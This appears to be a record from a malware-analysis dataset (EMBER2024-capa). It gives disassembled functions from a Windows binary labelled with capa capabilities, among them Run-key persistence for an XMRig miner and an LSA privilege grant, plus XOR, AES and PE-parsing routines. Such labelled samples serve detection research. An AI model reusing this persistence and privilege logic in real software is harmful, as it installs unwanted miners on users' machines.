joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003b210
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x498
mov rax, qword [0x140067020]
xor rax, rsp
mov qword [rsp + 0x480], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.14001fd50
xor edx, edx
lea rcx, [rsp + 0x370]
mov r8d, 0x104
call fcn.14001fd50
xor edx, edx
lea rcx, [rsp + 0x150]
mov r8d, 0x104
call fcn.14001fd50
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x104
call fcn.14001fd50
lea rax, [rsp + 0x30]
mov r9d, 0xf013f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14003b3ae
mov r8d, 0x104
mov qword [rsp + 0x490], rbx
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x40]
call fcn.14001f3dc
mov edx, 0x104
lea rcx, [rsp + 0x150]
lea r8, [rax + 1]
call fcn.140025034
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x150]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14003b300
lea rcx, [rsp + 0x40]
mov r9, rbx
inc r9
cmp byte [rcx + r9], 0
jne 0x14003b311
sub r9, rax
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rsp + 0x370]
call fcn.140024f60
lea r9, [rsp + 0x150]
lea r8, [rsp + 0x370]
lea rdx, str.cmd.exe__c__cd__sstart__s_
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rax, [rsp + 0x260]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14003b362
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x260]
mov dword [rsp + 0x28], ebx
lea rdx, str.xmrig
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rbx, qword [rsp + 0x490]
test eax, eax
jne 0x14003b3ae
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14001bfd0
add rsp, 0x498
ret
Function at 0x14003e840
Capabilities:
Manipulate user privileges

Disassembly:
push rbp
push rbx
push rdi
mov rbp, rsp
sub rsp, 0x70
xor edi, edi
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x28]
lea edx, [rdi + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, 1
jne 0x14003e979
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x20], edi
lea edx, [rdi + 1]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rbp + 0x20]
test r9d, r9d
je 0x14003e8a9
mov edx, r9d
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r9d, dword [rbp + 0x20]
mov rbx, rax
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x20]
mov r8, rbx
mov qword [rsp + 0x20], rax
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14003e979
xor eax, eax
lea r9, [rbp + 0x30]
mov r8d, 0xf0fff
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x28], rax
xor ecx, ecx
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x14003e966
mov rdx, qword [rbx]
lea rax, [0x14005a268]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x40]
mov qword [rbp - 0x38], rax
mov r9d, 1
mov dword [rbp - 0x40], 0x2c002a
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
jne 0x14003e95c
mov rcx, qword [0x14006a260]
lea r8, str.Huge_pages_support_was_successfully_enabled__but_reboot_required_to_use_it
lea edx, [rax + 2]
call fcn.140035f10
mov edi, 1
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
add rsp, 0x70
pop rdi
pop rbx
pop rbp
ret
xor eax, eax
add rsp, 0x70
pop rdi
pop rbx
pop rbp
ret
Function at 0x14003fea0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x140067020]
xor rax, rsp
mov qword [rbp + 0x47], rax
movups xmm0, xmmword [rcx]
mov rdi, rcx
xor r8d, r8d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp - 0x39]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rbp - 0x79], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x20]
movups xmmword [rbp - 0x69], xmm0
movups xmmword [rbp - 0x59], xmm1
call fcn.140040e50
mov r8d, 1
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.140040e50
mov ebx, 2
lea rdx, [rbp - 0x39]
mov r8d, ebx
lea rcx, [rbp + 7]
call fcn.140040e50
lea r8d, [rbx + 1]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.140040e50
lea r8d, [rbx + 2]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.140040e50
lea r8d, [rbx + 3]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.140040e50
lea r8d, [rbx + 4]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.140040e50
lea r8d, [rbx + 5]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x39]
call fcn.140040e50
lea r8d, [rbx + 6]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 7]
call fcn.140040e50
lea r8d, [rbx + 7]
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x39]
call fcn.140040e50
xor r9d, r9d
lea rcx, [rbp - 0x4d]
lea rax, [rdi + 0x3c]
lea edx, [rbx + 0xe]
cmp rdi, rcx
ja 0x14003ffb6
lea rcx, [rsp + 0x20]
cmp rax, rcx
jae 0x140040002
lea r8, [rsp + 0x20]
mov r9d, edx
sub r8, rdi
lea rax, [rsp + 0x20]
sub rax, rdi
lea rcx, [rdi + 0x10]
nop dword [rax]
movdqu xmm0, xmmword [rcx - 0x10]
movdqu xmm1, xmmword [r8 + rcx - 0x10]
movdqu xmm2, xmmword [rax + rcx]
lea rcx, [rcx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x30], xmm1
movdqu xmm0, xmmword [rcx - 0x20]
pxor xmm2, xmm0
movdqu xmmword [rcx - 0x20], xmm2
sub rbx, 1
jne 0x14003ffd0
movsxd rcx, r9d
cmp rcx, rdx
jge 0x140040030
lea r8, [rsp + 0x20]
sub r8, rdi
lea rax, [rdi + rcx*4]
sub rdx, rcx
nop dword [rax]
mov ecx, dword [rax + r8]
xor dword [rax], ecx
lea rax, [rax + 4]
sub rdx, 1
jne 0x140040020
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14001bfd0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140049fb0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x10
movdqu xmm5, xmmword [rcx]
lea rbx, [0x14005b560]
movaps xmmword [rsp], xmm6
mov r11, rdx
movdqu xmm6, xmmword [rdx]
mov r10, rcx
pshufd xmm0, xmm6, 0x55
movd dword [rbp + 0x10], xmm0
movzx eax, byte [rbp + 0x10]
pshufd xmm1, xmm6, 0xff
movd dword [rbp + 0x20], xmm1
pslldq xmm5, 4
movzx eax, byte [rax + rbx]
movdqa xmm4, xmm5
pxor xmm4, xmmword [rcx]
mov byte [rbp + 0x10], al
movzx eax, byte [rbp + 0x11]
movzx r8d, r8b
pslldq xmm5, 4
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x11], al
movzx eax, byte [rbp + 0x12]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x12], al
movzx eax, byte [rbp + 0x13]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x13], al
mov ecx, dword [rbp + 0x10]
movzx eax, byte [rbp + 0x20]
movd xmm3, ecx
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x20], al
movzx eax, byte [rbp + 0x21]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x21], al
movzx eax, byte [rbp + 0x22]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x22], al
movzx eax, byte [rbp + 0x23]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x23], al
mov eax, ecx
mov r9d, dword [rbp + 0x20]
mov edx, r9d
ror eax, 8
ror edx, 8
xor edx, r8d
xor eax, r8d
movd xmm0, r9d
punpckldq xmm3, xmm0
movdqa xmm0, xmm5
pxor xmm0, xmm4
pslldq xmm5, 4
movd xmm1, edx
pxor xmm0, xmm5
movd xmm2, eax
punpckldq xmm2, xmm1
punpckldq xmm3, xmm2
pshufd xmm1, xmm3, 0xff
pxor xmm1, xmm0
pshufd xmm0, xmm1, 0x55
movd dword [rbp + 0x10], xmm0
movzx eax, byte [rbp + 0x10]
movdqu xmmword [r10], xmm1
pshufd xmm1, xmm1, 0xff
movd dword [rbp + 0x20], xmm1
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x10], al
movzx eax, byte [rbp + 0x11]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x11], al
movzx eax, byte [rbp + 0x12]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x12], al
movzx eax, byte [rbp + 0x13]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x13], al
movzx eax, byte [rbp + 0x20]
movzx eax, byte [rax + rbx]
mov byte [rbp + 0x20], al
movzx eax, byte [rbp + 0x21]
movzx eax, byte [rax + rbx]
movdqa xmm5, xmm6
mov edx, dword [rbp + 0x10]
mov byte [rbp + 0x21], al
movzx eax, byte [rbp + 0x22]
pslldq xmm5, 4
movdqa xmm4, xmm5
movd xmm3, edx
pslldq xmm5, 4
pxor xmm4, xmm6
movzx eax, byte [rax + rbx]
movaps xmm6, xmmword [rsp]
mov byte [rbp + 0x22], al
movzx eax, byte [rbp + 0x23]
movzx eax, byte [rax + rbx]
mov rbx, qword [rsp + 0x28]
mov byte [rbp + 0x23], al
mov eax, edx
mov r8d, dword [rbp + 0x20]
mov ecx, r8d
ror ecx, 8
ror eax, 8
movd xmm0, r8d
punpckldq xmm3, xmm0
movdqa xmm0, xmm5
movd xmm1, ecx
pxor xmm0, xmm4
movd xmm2, eax
punpckldq xmm2, xmm1
punpckldq xmm3, xmm2
pslldq xmm5, 4
pshufd xmm1, xmm3, 0xaa
pxor xmm0, xmm5
pxor xmm1, xmm0
movdqu xmmword [r11], xmm1
add rsp, 0x10
pop rbp
ret
Function at 0x14004a3ac
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xa0
mov rax, qword [0x140067020]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x40]
call fcn.14001fd50
mov rdx, rbx
mov rcx, rdi
call fcn.14004a520
mov dword [rbx + 0x50], eax
mov r8d, eax
cmp eax, 0xffffffff
jne 0x14004a400
lea eax, [r8 - 6]
jmp 0x14004a4f9
cmp dword [rdi], 1
jl 0x14004a464
mov ecx, dword [rdi + 0x10]
shr ecx, 8
and ecx, 0xf
mov dword [rbx + 0xd4], ecx
mov eax, dword [rdi + 0x10]
shr eax, 4
and eax, 0xf
mov dword [rbx + 0xd8], eax
mov eax, dword [rdi + 0x10]
and eax, 0xf
mov dword [rbx + 0xdc], eax
mov eax, dword [rdi + 0x10]
mov edx, eax
shr edx, 0x10
shr eax, 0x14
and edx, 0xf
movzx r9d, al
cmp r8d, 1
jne 0x14004a44c
cmp ecx, 0xf
jl 0x14004a44f
add ecx, r9d
shl edx, 4
add edx, dword [rbx + 0xd8]
mov dword [rbx + 0xe4], edx
mov dword [rbx + 0xe0], ecx
mov eax, dword [rdi + 0x200]
sub eax, 0x8000000
cmp eax, 4
jl 0x14004a4d7
movups xmm2, xmmword [rdi + 0x220]
xor ecx, ecx
mov byte [rsp + 0x80], 0
movups xmm1, xmmword [rdi + 0x230]
movups xmm0, xmmword [rdi + 0x240]
movd eax, xmm2
movaps xmmword [rsp + 0x50], xmm2
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x70], xmm0
cmp al, 0x20
jne 0x14004a4b9
lea rax, [rsp + 0x50]
inc rax
inc ecx
cmp byte [rax], 0x20
je 0x14004a4af
movsxd rax, ecx
lea rdx, [rsp + 0x50]
add rdx, rax
lea rcx, [rbx + 0x10]
mov r8d, 0x40
call fcn.1400203a0
mov byte [rbx + 0x40], 0
mov rdx, rbx
mov rcx, rdi
call fcn.14004a790
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
mov dword [rbx + 0xf0], eax
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14001bfd0
mov rbx, qword [rsp + 0xc0]
add rsp, 0xa0
pop rdi
ret
Function at 0x14004b0b8
Capabilities:
Parse pe header

Disassembly:
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140067020]
xor rax, rsp
mov qword [rbp], rax
mov r11d, 2
mov dword [rsp], shutdown
mov r8, rcx
mov dword [rsp + 4], 0x3a
xor ecx, ecx
mov dword [rsp + 8], reloc.WS2_32.dll_shutdown
mov r9, rdx
mov dword [rsp + 0xc], 0x37
lea edx, [r11 + 8]
mov dword [rsp + 0x10], 0x19
cmp dword [r8 + 0x200], 0x80000001
lea eax, [rdx + 1]
lea r10d, [r11 + 7]
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x80], eax
mov dword [rsp + 0x14], 0x3b
mov dword [rsp + 0x18], 0x1e
mov dword [rsp + 0x1c], 0x39
mov dword [rsp + 0x20], 0x1f
mov dword [rsp + 0x24], 0x38
mov dword [rbp - 0x70], 1
mov dword [rbp - 0x6c], 0x3f
mov dword [rbp - 0x68], r11d
mov dword [rbp - 0x64], 0x40
mov dword [rbp - 0x60], 5
mov dword [rbp - 0x5c], 0x41
mov dword [rbp - 0x58], 6
mov dword [rbp - 0x54], 0x43
mov dword [rbp - 0x50], 7
mov dword [rbp - 0x4c], 0x42
mov dword [rbp - 0x48], 8
mov dword [rbp - 0x44], 0x44
mov dword [rbp - 0x40], r10d
mov dword [rbp - 0x3c], 0x45
mov dword [rbp - 0x38], edx
mov dword [rbp - 0x34], 0x46
mov dword [rbp - 0x2c], 0x53
mov dword [rbp - 0x28], select
mov dword [rbp - 0x24], 0x48
mov dword [rbp - 0x20], select
mov dword [rbp - 0x1c], 0x49
mov dword [rbp - 0x18], select
mov dword [rbp - 0x14], 0x55
mov dword [rbp - 0x10], reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0xc], 0x56
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x34], 0x4a
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x3c], 0x4b
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x44], 0x4c
mov dword [rsp + 0x48], 3
mov dword [rsp + 0x4c], 0x4d
mov dword [rsp + 0x50], 4
mov dword [rsp + 0x54], 0x4e
mov dword [rsp + 0x58], 5
mov dword [rsp + 0x5c], 0x4f
mov dword [rsp + 0x60], 6
mov dword [rsp + 0x64], 0x50
mov dword [rsp + 0x68], 7
mov dword [rsp + 0x6c], 0x51
mov dword [rsp + 0x70], r10d
mov dword [rsp + 0x74], 0x5a
mov dword [rsp + 0x78], edx
mov dword [rsp + 0x7c], 0x5b
mov dword [rbp - 0x7c], 0x5c
mov dword [rbp - 0x78], select
mov dword [rbp - 0x74], 0x5d
jb 0x14004b2e9
mov r10d, dword [r8 + 0x21c]
mov edx, ecx
mov eax, dword [rsp + rdx*8]
bt r10d, eax
jae 0x14004b2b8
movsxd rax, dword [rsp + rdx*8 + 4]
mov byte [rax + r9 + 0x54], 1
inc rdx
cmp rdx, 5
jl 0x14004b2a4
mov r10d, dword [r8 + 0x218]
mov rdx, rcx
mov eax, dword [rbp + rdx*8 - 0x70]
bt r10d, eax
jae 0x14004b2e0
movsxd rax, dword [rbp + rdx*8 - 0x6c]
mov byte [rax + r9 + 0x54], 1
inc rdx
cmp rdx, 0xd
jl 0x14004b2cb
cmp dword [r8 + 0x200], 0x80000007
jb 0x14004b31a
mov edx, dword [r8 + 0x27c]
mov eax, dword [rsp + rcx*8 + 0x30]
bt edx, eax
jae 0x14004b311
movsxd rax, dword [rsp + rcx*8 + 0x34]
mov byte [rax + r9 + 0x54], 1
inc rcx
cmp rcx, 0xc
jl 0x14004b2fd
cmp dword [r8 + 0x200], 0x8000001a
jb 0x14004b345
mov byte [r9 + 0x16c], 1
mov eax, dword [r8 + 0x3a0]
and eax, 1
inc eax
shl eax, 6
mov dword [r9 + 0x168], eax
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14001bfd0
add rsp, 0x110
pop rbp
ret
Function at 0x14014a370
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14014eef0
sub rsp, rax
mov rax, qword [0x140191fc0]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x14014a432
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14015de44
cmp rax, 1
jne 0x14014a48e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14014a40f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x14014a403
cmp rcx, 1
jb 0x14014a48e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14014a3d0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14014a463
lea rcx, [rsp + 0x80]
call fcn.140160944
jmp 0x14014a465
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14014ec20
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1401523e0
int3
Function at 0x14014b3c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x14019c45e], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x14014b445
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x14019c3f8], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x14019c3f8], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x14019c3f8], rdx
call fcn.1401490e0
cmp eax, ebx
jne 0x14014b5ad
mov byte [0x14019c45e], 1
lea rdx, [0x14016fd88]
mov rcx, rsi
call fcn.14015f8b0
test eax, eax
je 0x14014b4d0
cmp byte [0x14019c45d], 1
je 0x14014b4d0
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1b8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1c0], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1c8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1d0], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1d8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1e0], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1e8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x14019d1f0], rax
mov byte [0x14019c45d], 1
mov r8, qword [0x14019c3f8]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x14014b4f7
inc rax
test cl, cl
jne 0x14014b4e0
mov ecx, r9d
jmp 0x14014b4fc
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x14014b503
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x14014b568
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x14014b545
inc rax
test cl, cl
jne 0x14014b530
mov ecx, r9d
jmp 0x14014b54a
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x14014b551
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x14014b520
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x14014b598
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140147780
add rdi, 8
sub rbx, 1
jne 0x14014b580
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.14015a684
call fcn.1401523e0
int3
Function at 0x14014e7b0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140191fc0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x14014e861
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14015de44
cmp rax, 1
jne 0x14014e897
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14014e83d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14014e830
cmp rcx, 1
jb 0x14014e897
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14014e800
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14014ec20
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.1401523e0
int3

Function at 0x14014eaa0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140191fc0]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x14014eb4f
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14015de44
cmp rax, 1
jne 0x14014eb85
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14014eb2c
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x14014eb20
cmp rcx, 1
jb 0x14014eb85
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14014eaf0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14014ec20
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1401523e0
int3

Function at 0x14014f688
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14014f6d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14014f6d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14014f6d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14014f6d2
cmp dword [rcx + 0x84], 0xe
jbe 0x14014f6d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14014f6d4
xor al, al
add rsp, 0x28
ret
Function at 0x140153a54
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140153ac3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140153ac3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140153ac3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140153ac3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140153ac3
cmp dword [rcx + 0x84], 0xe
jbe 0x140153ac3
cmp dword [rcx + 0xf8], 0
je 0x140153ac3
mov ecx, ebx
call fcn.140153b74
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140153950
nop
cmp dword [rbp + 0x20], 0
je 0x140153b11
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140153b1c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140153a54

Function at 0x140153c58
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140153ac3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140153ac3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140153ac3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140153ac3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140153ac3
cmp dword [rcx + 0x84], 0xe
jbe 0x140153ac3
cmp dword [rcx + 0xf8], 0
je 0x140153ac3
mov ecx, ebx
call fcn.140153b74
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
